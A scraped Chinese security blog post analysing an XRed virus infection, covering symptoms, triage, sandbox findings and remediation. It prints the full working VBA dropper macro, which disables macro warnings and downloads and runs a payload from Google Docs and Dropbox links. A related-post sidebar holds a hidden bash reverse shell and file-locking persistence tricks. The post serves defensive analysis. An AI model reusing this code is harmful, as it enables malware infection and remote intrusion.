<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次XRed病毒攻擊應急分析

    一顆小胡椒2022-03-07 06:09:56

    0x00序言

    在日常工作中,如果辦公電腦或者個人PC有以下兩個方面的異常行為,則大概率已經中招XRed病毒,它屬于AutoRun家族。具體情況如下:

    1.打開xlsx電子表格文件,會提示宏并且文件內容也會改變,最關鍵的一個特點是關閉電子表格文件會進行后綴名的改變。(xlsx--xlsm

    2. 在DNS請求流量中會有該惡意域名(xred.mooo.com)解析請求記錄,周期為每10分鐘一次。

    0x01事件起因

    被通知個人PC發現DNS異常解析行為,定位終端(IP)進行問題排查。

    0x02應急排查

    定位到具體的終端,發現是一臺windows10虛擬機,進行了網絡及進程、注冊表、啟動項等相關排查,除了有DNS的異常解析行為(每10分鐘一次)再無其他的影響。具體排查如下:

    1.通過進程的異常分析,發現該病毒偽裝成“Synaptics觸摸板驅動程序”。

    2.對父進程進行追蹤查找并進行kill,從而提取到該病毒樣本。(在提取過程中注意打開顯示隱藏文件)

    3.然后使用火絨進行全面查殺,并無發現風險。


    0x03樣本分析

    提取病毒樣本,進行下一步分析。具體流程如下:

    1.使用IDA工具查文件的基礎信息

    MD5: FBA313D7C15B420EE31C263E79EA90A7

    2.使用Strings查看程序包含的字符信息

    3.獲取這些基礎信息,通過奇安信、360、微步在線云沙箱自動化分析。

    奇安信沙箱

    360沙箱

    微步沙箱

    4.樣本運行詳細過程

    主機行為

    進程行為

    網絡行為

    5.通過對樣本的自動化分析,已經獲取了了很多關鍵信息,獲取宏代碼如下

    Dim SheetsChanged As BooleanDim SheetCount As Integer
    Private Sub Workbook_Open()  Dim i As Integer  For i = 1 To ActiveWorkbook.Sheets.Count    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  Next i    RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"    Application.DisplayAlerts = False  SheetCount = Worksheets.Count    Call MPS    ActiveWorkbook.Sheets(1).Select  SheetsChanged = FalseEnd Sub
    Private Sub Workbook_BeforeClose(Cancel As Boolean)  If Not SheetsChanged Then    ActiveWorkbook.Saved = True  End IfEnd Sub
    Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)  SheetsChanged = TrueEnd Sub
    Private Sub Workbook_NewSheet(ByVal Sh As Object)  SheetsChanged = TrueEnd Sub
    Private Sub Workbook_SheetActivate(ByVal Sh As Object)  If ActiveWorkbook.Sheets.Count <> SheetCount Then    SheetsChanged = True    SheetCount = ActiveWorkbook.Sheets.Count  End IfEnd Sub
    Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)  Dim i As Integer  Dim AIndex As Integer  Dim FName
      AIndex = ActiveWorkbook.ActiveSheet.Index
      If SaveAsUI = False Then    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i    ActiveWorkbook.Save          For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False        Application.ScreenUpdating = True    Application.EnableEvents = True  Else    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i        FName = Application.GetSaveAsFilename(fileFilter:="Excel ?al??ma Kitab? (*.xlsm), *.xlsm")    If FName <> False Then      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled      SaveAsInj ActiveWorkbook.Path    End If        For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False            Application.ScreenUpdating = True    Application.EnableEvents = True  End IfEnd Sub
    Sub SaveAsInj(DIR As String)  Dim FSO As Object  Dim FN As String    Set FSO = CreateObject("scripting.filesystemobject")  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"    If FSO.FileExists(FN) Then    If Not FSO.FileExists(DIR & "\~$cache1") Then      FileCopy FN, DIR & "\~$cache1"    End If    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem  End IfEnd Sub
    Function RegKeyRead(i_RegKey As String) As String  Dim myWS As Object
      On Error Resume Next  Set myWS = CreateObject("WScript.Shell")  RegKeyRead = myWS.RegRead(i_RegKey)End Function
    Function RegKeyExists(i_RegKey As String) As BooleanDim myWS As Object
      On Error GoTo ErrorHandler  Set myWS = CreateObject("WScript.Shell")  myWS.RegRead i_RegKey  RegKeyExists = True  Exit Function  ErrorHandler:  RegKeyExists = FalseEnd Function
    Sub RegKeySave(i_RegKey As String, _               i_Value As String, _      Optional i_Type As String = "REG_SZ")Dim myWS As Object
      Set myWS = CreateObject("WScript.Shell")  myWS.RegWrite i_RegKey, i_Value, i_TypeEnd Sub
    Sub MPS()  Dim FSO As Object  Dim FP(1 To 3), TMP, URL(1 To 3) As String    Set FSO = CreateObject("scripting.filesystemobject")  FP(1) = ActiveWorkbook.Path & "\~$cache1"  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
      URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  TMP = Environ("Temp") & "\~$cache1.exe"    If FSO.FileExists(FP(1)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(1), TMP    End If    Shell TMP, vbHide  ElseIf FSO.FileExists(FP(2)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(2), TMP    End If    Shell TMP, vbHide  Else    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide    ElseIf Not FSO.FileExists(TMP) Then      If FDW((URL(1)), (TMP)) Then      ElseIf FDW((URL(2)), (TMP)) Then      ElseIf FDW((URL(3)), (TMP)) Then      End If      If FSO.FileExists(TMP) Then        Shell TMP, vbHide      End If    Else      Shell TMP, vbHide    End If      End If  End Sub
    Function FDW(MYU, NMA As String) As Boolean  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")  If WinHttpReq Is Nothing Then    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")  End If
      WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"  WinHttpReq.Option(6) = AllowRedirects  WinHttpReq.Open "GET", MYU, False  WinHttpReq.Send    If (WinHttpReq.Status = 200) Then    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then      FDW = True      Set oStream = CreateObject("ADODB.Stream")      oStream.Open      oStream.Type = 1      oStream.Write WinHttpReq.ResponseBody      oStream.SaveToFile (NMA)      oStream.Close    Else       FDW = False    End If  Else    FDW = False  End IfEnd Function
    

    0x04病毒歸類

    通過全流量留存或者進行數據包捕獲,然后使用彌天實驗室開發的dga惡意域名檢測工具進行家族歸類和受害主機定位。

    這里使用的是沙箱運行留存的數據包,具體使用效果如下:

    (工具使用和下載請參見HVV之基于360數據的dga惡意域名檢測工具:

    https://mp.weixin.qq.com/s/EPiQY_8i4LWP_S3aaX2yYw)

    0x05修復建議

    1. 安裝殺毒軟件,定期升級病毒庫
    2. 不要點擊來源不明的郵件以及附件和鏈接
    3. 打全系統及應用程序補丁并及時更新
    4. 采用高強度的密碼,避免使用弱口令密碼,并定期更換密碼(終端基線)
    5. 盡量關閉不必要的文件共享
    6. 提升安全意識
    stringsub
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    留神,變量名和等號之間不能有空格,這或許和你了解的悉數編程言語都不相同。一同,變量名的命名須遵從如下規矩:命名只能運用英文字母,數字和下劃線,首個字符不能以數字開端。不能運用bash里的要害字。變量稱謂一般習氣為大寫有用的 Shell 變量名示例如下:RUNOOB. 事實上,shell腳本就是一些指令的集結。
    WAF開發之灰度轉發
    2021-07-02 17:01:02
    突然心血來潮想寫一下基于lua實現灰度轉發的文章。 根據前文內容的openresty處理階段這一環節,假如要實現灰度流量的轉發,需要在balancer這個階段進行處理。這個階段類似于nginx的upstream作用域
    微軟將在10月的補丁周二發布中再次發布大量安全修補程序,其中11個被微軟評為”關鍵”。這些漏洞堪比2013 年 Windows 中修復的”死亡ping”漏洞。通過精心制作的數據包使拒絕服務和潛在的遠程代碼執行成為可能。開發一個”藍屏死亡”的DoS攻擊是可以的。即使有可能可以可靠地預測stack canary落在系統外殼在用戶模式下還需要正確確定Windows內核的基本地址。針對此漏洞的防護 此處提供一個Lua腳本用于此漏洞的檢測可以集成到IDS中。
    為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。您可以使用以下憑據登錄自己的帳戶:wiener:peter解決方案此實驗與權限提升有關,我們使用bp抓包,重點關注cookie1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。在Repeater中替換cookie,已經有了admin權限。
    trickbot病毒分析
    2022-03-25 06:45:38
    概述最近微軟發布了一款Trickbot掃描器[1]該木馬近期在app.any.run公開任務的提交趨勢如下[2]獲取一個樣本[2],進行分析原始樣本分析打開之后是這樣的這里包含一定的社會工程操作,如果受害者對此類攻擊不熟悉,就會點擊啟用宏導致樣本執行。使用oletools查看一下宏C:\Users\IEUser\Desktop\trickbot>mraptor?
    簡介最近做一個web探測的項目,在項目中多處用到java正則表達式,今天將回顧的正則表達式做一個梳理,本文屬于看完廖大佬筆記后的梳理,僅為平時參考,詳細大家可以查看下面相關網址。
    Linux 維權實用技巧
    2023-04-07 09:38:38
    小技巧\r特性原理:shell 在解析 \r 時會忽略掉 \r 前的信息。cat其實默認使用是支持一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令,使用cat -A可以看到真正的內容比如舉例隱藏反彈shell#!mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!cat如果不加-A參數,或者不實用vim或者文本方式打開正常運行效果文件鎖定chattr +i evil.php??修改文件時間其中-m參數是不創建一個文件,需要對已存在的文件進行修改時間,若不加-m參數會創建一個文件touch -acmr 10-help-text 20-help-text
    1 介紹XSS 是網絡中最常見的漏洞,再配合其它的攻擊手段往往能輕易敲開服務器的大門。在各大漏洞平臺中,XSS 漏洞也是數量最多的。傳播記錄描述了數據從 source 到 sink 的變化過程,傳播記錄的完整性直接影響 XSS 的檢測結果。眾所周知,觸發 XSS 漏洞的字符串往往是來自于不同 source 的字符的組合,如果不能完整記錄數據變化的過程或做不到字符級別的描述,那將會產生大量的漏報。做好以下這些 API 的記錄就可以最大程度保證傳播記錄的完整性。
    引言 在JavaWeb應用中,任意文件上傳一直是關注的重點,攻擊者通過上傳惡意jsp文件,可以獲取服務器權限。但是在Springboot框架對JSP解析存在一定的限制。 Spring官方原文如下,大概意思是jsp對內嵌的容器的支持不太...
    本文主要介紹,SparkStreaming和Kafka使用Direct Approach方式處理任務時,如何自己管理offset?在調用該方法時,會先創建KafkaCluster:val kc = new KafkaCluster. | is a list of one or more kafka topics to consume from
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类